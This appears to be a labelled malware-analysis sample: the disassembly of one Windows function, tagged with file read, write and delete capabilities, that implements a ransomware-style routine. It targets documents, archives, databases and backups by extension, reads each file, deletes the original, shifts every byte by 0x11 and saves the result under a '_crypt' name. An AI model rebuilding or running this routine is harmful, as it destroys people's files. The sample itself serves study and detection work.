Function at 0x401550
Capabilities:
Delete file
Read file on windows
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x20], rcx
mov r8d, 0
lea rdx, str._crypt
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x40158e
mov eax, 0
jmp 0x401bd2
mov byte [rbp - 1], 0
mov r8d, 0
lea rdx, str..pdf
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x4015b5
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..doc
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x4015d8
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, [0x004a9024]
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x4015fb
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..xls
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x40161e
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..rar
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x401641
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..zip
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x401664
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, [0x004a904a]
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x401687
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..dbf
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x4016aa
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..bak
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x4016cd
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..txt
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x4016f0
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, [0x004a9070]
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x401713
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, [0x004a9078]
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x401736
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, [0x004a9080]
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x401759
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, [0x004a9088]
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x40177c
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..xml
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x40179f
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..png
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x4017c2
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..PDF
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x4017e5
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..DOC
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x401808
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, [0x004a90b8]
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x40182b
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..XLS
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x40184e
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..RAR
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x401871
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..ZIP
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x401894
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, [0x004a90de]
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x4018b7
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..DBF
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x4018da
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..BAK
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x4018fd
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..TXT
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x401920
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, [0x004a9104]
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x401943
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, [0x004a910c]
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x401966
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, [0x004a9114]
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x401989
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, [0x004a911c]
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x4019ac
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..XML
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x4019cf
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..PNG
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x4019f2
mov byte [rbp - 1], 1
mov r8d, 0
lea rdx, str..1CD
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::find(wchar_t const*, unsigned long long) const
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x401a15
mov byte [rbp - 1], 1
cmp byte [rbp - 1], 0
je 0x401bb1
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::c_str() const
lea rdx, [0x004a9142]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wfopen]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x401a50
mov eax, 0
jmp 0x401bd2
mov rax, qword [rbp - 0x18]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.ftell
mov dword [rbp - 0x1c], eax
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.fclose
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::c_str() const
lea rdx, [0x004a9148]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wfopen]
call rax
mov qword [rbp - 0x18], rax
mov eax, dword [rbp - 0x1c]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x28], rax
mov eax, dword [rbp - 0x1c]
movsxd rdx, eax
mov rcx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x28]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov dword [rbp - 0x2c], eax
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.fclose
mov rcx, qword [rbp + 0x20]
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::c_str() const
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wremove]
call rax
test eax, eax
sete al
test al, al
je 0x401bb1
mov dword [rbp - 8], 0
mov eax, dword [rbp - 8]
cmp eax, dword [rbp - 0x1c]
jge 0x401b3b
mov eax, dword [rbp - 8]
cdqe
mov rdx, qword [rbp - 0x28]
add rax, rdx
movzx eax, byte [rax]
mov edx, dword [rbp - 8]
movsxd rdx, edx
mov rcx, qword [rbp - 0x28]
add rdx, rcx
sub eax, 0x11
mov byte [rdx], al
add dword [rbp - 8], 1
jmp 0x401b0c
lea rax, [rbp - 0x60]
lea r8, str._crypt
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const__wchar_t_const_
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::c_str() const
lea rdx, [0x004a9166]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wfopen]
call rax
mov qword [rbp - 0x38], rax
mov eax, dword [rbp - 0x1c]
movsxd rdx, eax
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x28]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov dword [rbp - 0x3c], eax
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.fclose
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::~basic_string()
mov eax, 1
jmp 0x401bd2
add rsp, 0x88
pop rbx
pop rbp
ret